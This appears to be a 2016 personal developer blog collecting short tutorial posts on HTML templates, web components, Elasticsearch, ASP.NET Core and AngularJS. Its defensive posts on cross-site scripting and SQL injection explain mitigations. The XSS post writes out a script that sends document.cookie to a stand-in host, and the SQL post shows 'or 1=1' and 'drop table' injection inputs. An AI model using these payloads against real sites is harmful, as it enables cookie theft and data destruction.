Dec 24, 2016

Template

Template is inert chunk of cloneable markup.  Markup inside template is hidden and will not have any side effect until it's activated, for example if there is a image tag, it's source will not be loaded until it is activated, bad path on the image tag will not show 404. Templates can be placed anywhere on the html. Content of the template is not accessible via normal selection techniques like document.getElementById or querySelector can't return child node of the template.

Defining template


       <template id="mytemplate1">
             <p>  I will not be displayed until I am cloned and displayed on the page. <span class="injectsomething"></span></p>
    </template>


Activating Template


 <script>
       var template = document.querySelector('template');
        var clone = document.importNode(template.content, true);
        clone.querySelector('.injectsomething').textContent = "This has been dynamically injected";
        document.body.appendChild(clone);
 </script>

If you are using nested templte, then each template has to be cloned and added separately.

Injecting Dynamic Data
You can have a place holder in the template which you can handle in the script to dynamically inject data. More convenient (as in case of angular {}[]) way of inserting data are available through polymer, though HTML5 and template spec does not require that support.

Dec 23, 2016

why web component

Undescriptive Markup - Currently we have deeply nested makeup (div/span), which sometimes becomes harder to understand/maintain. Refer any of the popular web page source and you will find deep nested mark up. Though some provide meaningful id/class.

Style conflicts - There is no guarantee that css from one part of the page will not conflict to other.

No native templates - Template is a mechanism for holding client-side content that is not to be rendered when a page is loaded, but may be subsequently be instantiated during runtime using JS. Its a content fragment that can be used in the document.

HTML Imports - There is no way to include and reuse HTML documents in other HTML documents.

No bundling - You cannot bundle css, javascript, html together. like bootstarp need to have at least 3 reference - jquery,bootstrap js and css. 

No standard - Multiple library like jQuery, angular (directive), bootstrap provide their own convention, but there is no standard. 

HTML5 Web component addresses these issues, by using combination of following four technologies.
  • Template
  • Shadow DOM
  • Custom Element
  • HTML Import

Dec 20, 2016

My first look at elastic search

Elasticsearch is a document oriented database. The entire object is stored in a denormalized state which enhances retrieval performance, as you do not need to join tables, like in case of relational database. On the other hand, update becomes little complicated, since you have to update all the documents rather than updating a referenced table. Relational db also let you specify constraints (like foreign key etc), which is not with the case of document oriented db.

Elasticsearch is schema flexible, which means you do not have to specify schema upfront, rather it recommended to have schema (mapping) defined based on you search need.

Basic concept

  • Cluster
  • Node
  • Index - Its a collection of document which are somewhat similar. Index is stored in set of shards and during search, elasticsearch merges result from all searched shards. So if you have documents which has minor difference in structure, its better to store it in single index with multiple types, which will result in less number of merge. But in case if you have completely different structure, then its better to have separate index, as the way elasticsearch stores data, fields that exist in one type will also consume resources for documents of types where this field does not exist. (localhost:9200/my_index)
  • Type - Type is defined for a document which has set of properties. You can have multiple types for a single index. ( localhost:9200/my_index/my_type)
  • Document
  • Shards & Replicas - Elasticsearch provides the ability to subdivide your index into multiple pieces called shards, which horizontally split/scale the data and also help in performance by allowing you to distribute and parallelize operations across shards.

Mapping
Enabled - Elasticsearch tries to index all of the fields you give it, but sometimes you want to just store the field without indexing it as you may not want to query on the basis of that field.
Dynamic - By defaults fields are dynamically added to a document. The dynamic setting (true, false, strict) controls whether new fields can be added dynamically or not. Setting dynamic does not alter content of source.

Analysis
Analysis is the process of converting text into tokens or terms which are added to the inverted index for searching. Analyzers are used for both indexing and searching (only in case of match query and not term). By default it uses the same analyzer for both indexing and searching, but you can have different analyzer for searching.

An analyzer does following

  • A character filter receives the original text as a stream of characters and can transform the stream by adding, removing, or changing characters.
  • A tokenizer receives a stream of characters, breaks it up into individual tokens, and outputs a stream of tokens. ex whitespace, standard (based on whitespace and punctuation), ngram (min/max gram)
  • A token filter receives the token stream and may add, remove, or change tokens. ex lowercase, stopword (stop the word from being indexed), snowball (removes trailing characters such as "ed," "ing," etc.)

Nov 18, 2016

Cross site scripting


Cross-site scripting (XSS) enables attackers to inject client-side scripts into web pages. If its not prevented, this may lead to compromise of end users cookie. Let's take an example where an user input (either through query string or form input) is displayed on the browser without encoding it and user enters following to the input field
<script>location.href = 'http://myevilsite.com?cookie=' + document.cookie </script>

This will result in transmitting user's cookie to myevilsite and hence myevilsite can access application using user's authenticated cookie.

Asp.net mvc framework has build in feature to deal with this issue

  • It uses ValidateInput filter to validate user's input and throws HttpRequestValidationException for malicious input. By default this is always applied to all actions, in which case any HTML markup or JavaScript code in the body, header, query string, or cookies which not be allowed in the request. In case you have a requirement to turn it off as you expect HTML markup or JS code in the request then you can turn it off by decorating your controller action by ValidateInput(false)] 
  • By default asp.net mvc razor syntax are automatically HTML encoded, this will mean by any chance your server side code is trying to output markup (like <script>location.href = 'http://myevilsite.com?cookie=' + document.cookie </script>), it will html encode when using with @ and hence it will be displayed to user as is which is <script>location.href = 'http://myevilsite.com?cookie=' + document.cookie </script>. This protects from the scenario where somehow you have html markup or javascript in you db or by user input if validation is turned off. In case you have a requirement to show markup as is then you can user extension method @Html.Raw.
  • When you tag a cookie as HttpOnly, it tells the browser that it can only be accessed by server and hence you cannot access this in javascript by document.cookie property. Form authentication which uses cookie ASPXAUTH is http only cookie and hence you cannot access that in java script.
  • You can use X-Xss-Protection header to configure the built in reflective XSS protection found in Internet Explorer, Chrome and Safari.
               X-XSS-Protection: 1; mode=block

Nov 12, 2016

SQL Injection

SQL injection is a way of injecting partial or complete sql query via data input from client to the server. Consider following web application
http://www.sqlinjestiondemo.com/customer?id=1

and now consider following server side code written to serve this request
userId = get id from user input, in this case query string
query = "select * from customer where id = " + userId

In the above scenario user can change input like 1 or 1=1 that will run following query, which will return all the customers from the dB, which is not what the intention was
select * from customer where id = 1 or 1=1

Lets take another example, if you change input to "1 ; drop table customer--" this will run following query which can drop the table
select * from customer where id = 1 ; drop table customer--

Following can be done to minimize chances of sql injection
  • Avoid concatenation of user input to partial query as we were doing in the above case. You can parametrize the query or use sproc or use ORM which internally parametrize the query 
  • User input which can come from query string, post via form, cookies, request header is untrusted data. It should be validated while processing them.
    • do a proper type conversion. getting away from string minimizes a lot of risk
    • use regular expression to validate string
    • list of known good values, like countries,state etc
  • Do not send sql exception to the client. This can expose dB info, for example table name, which can then be compromised by sql injecti
  • Make sure you give only necessary permission to the a/c under which sql is executed. 
There are tools available to test sql injection flaw in your application.

Nov 10, 2016

Quick look at .NET Core 5


ASP.NET Core is a cross-platform open source framework for building web application

program.cs
This has public Main() function, just like you have in console application.

startup.cs
This has configure method which can be used to configure HTTP request pipeline. You write your application middleware (term commonly used in nodeJS) here in this method, for example you can use "UseMvc" extension method to set MVF as the default handler. The startup class  also has ConfigureServices which is used for dependency injection.

wwwroot
wwwroot is the directory in your project for static resources like css,js and image files. The static file middleware (UseStaticFiles) will only server files from wwwroot directory.

Exception Handline
For exception handling you can use UseDeveloperExceptionPage just for the developer environment, which will give detail call stack for troubleshooting.

Configuration
ASP.NET Core supports configuring application using JSON,XML, INI or even environment variable. You can create configuration builder with multiple sources. This way you can have configuration coming from different sources as well as configuration can be overwritten for different source..

var builder = new ConfigurationBuilder()
                .SetBasePath(env.ContentRootPath)
                .AddJsonFile("appsettings.json", optional: true, reloadOnChange: true)
.AddJsonFile($"appsettings.{env.EnvironmentName}.json", optional: true)
                .AddEnvironmentVariables();

project.json
The project.json file is used on .NET Core projects to define project metadata, compilation information, and dependencies.

New Features

Tag Helper Tag Helpers are a new feature in MVC that you can use for generating HTML. The syntax looks like HTML (elements and attributes) but is processed by Razor on the server. 

Controller With MVC6, both mvf and web api controller use the same base class. 

Gulp,Grunt,Bower and npm Support for VS





Mar 28, 2016

angularjs - Directive

Directive gives html new functionality. Angular parses html, it looks for directives and take action. for example for ngClick it will register click event on that dom object. There are four way to write directive and not all directive support all four way
<ng-form/>  tag
<div ng-click> attribute
<div class="ng-form"/> class
html comment

Event Directive
These respond to the specific event and let you call a method on your scope.
ngClick
ngDblClick
ngMousedown
ngMouseenter
ngMousemove
ngMouseover
ngMouseup
ngChange require ng-model to be present

OtherDirective
ngApp = designates the root element of the application
ngBind
ngBindTemplate - can use template and use multiple items
ngBindHtml - depends on ngSanitize module, may remove anything unsafe
ngBindHtmlUnsafe -
ngHide
ngShow
ngCloak - It will hide html element until angular processes all the directives and document is ready to be displayed. It is specially helpful on slow m/c. This avoid flash of unbound html. Look for css rule from the documentation
ngStyle
ngClass
ngClassEven repeat directive
ngClassOld

Thease are specially helpful in case browser doesn't it
ngDisabled
ngChecked
ngMultiple
ngReadonly
ngSelect

ngForm - It allow nested form
ngSubmit
ngHref - This will be used with anchor tag, it will not add this attribute to the element until angular has chance to process it.
ngScr - this allows to bind an image source. This delays binding untile angular replaces source of the image
ngNonBindable - angular doesn't parse text in that


Expression
Angular expressions are JavaScript-like code snippets which you can add to html. For example {{2*2}} will get display as 4. It doesn't support all javascript syntax

Filters
Filters are used to modify Output before it's rendered by the browser. Its used for formatting, Sorting dataset and Filtering dataset.

{{ expressiob | filter }}

uppercase
lowercase
number {{123.123 | number : 2}}
currency {{123.123 | currency}}
date {{<JS date> | date: 'mediumDate'}}
json can be used to print json object
orderBy used with ng-repeat
ng-repeat="employee in oemployees | orderBy:name"
limitTo
filter
ng-repeat="employee in oemployees | orderBy:name |limitTo: 3 | filter: {claim: {patientAccountNumber: ''}}"

Validation
You can use build in directive (ng-required="true" ng-pattern="onlyNumbers") to do validations. There are few form properties which you can use for styling example - Dirty, invalid, Pristine (exact opposite of dirty), valid (which is the exact opposite of invalid). Angular sets css class on input field to indicate what state those fields are.